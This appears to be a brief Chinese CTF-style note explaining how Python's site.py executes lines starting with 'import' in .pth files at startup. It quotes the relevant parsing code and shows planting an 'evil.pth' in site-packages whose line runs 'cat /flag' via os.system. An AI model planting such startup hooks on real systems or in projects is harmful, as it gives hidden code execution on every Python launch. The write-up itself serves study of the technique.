利用python的Site-specific configuration hook功能,这个功能原意是将特定路径加入模块搜索路径。它会在python初始化的时候导入。
把pth文件注入到site-packages
里面
python是这样解析的
for n, line in enumerate(f):
if line.startswith("#"):
continue
if line.strip() == "":
continue
try:
if line.startswith(("import ", "import\\t")):
exec(line)
continue
line = line.rstrip()
dir, dircase = makepath(sitedir, line)
if not dircase in known_paths and os.path.exists(dir):
sys.path.append(dir)
known_paths.add(dircase)
也就是当写入例如
/home/hkbin/anaconda3/lib/python3.7/site-packages
路径下,写入evil.pth
import os;os.system("cat /flag")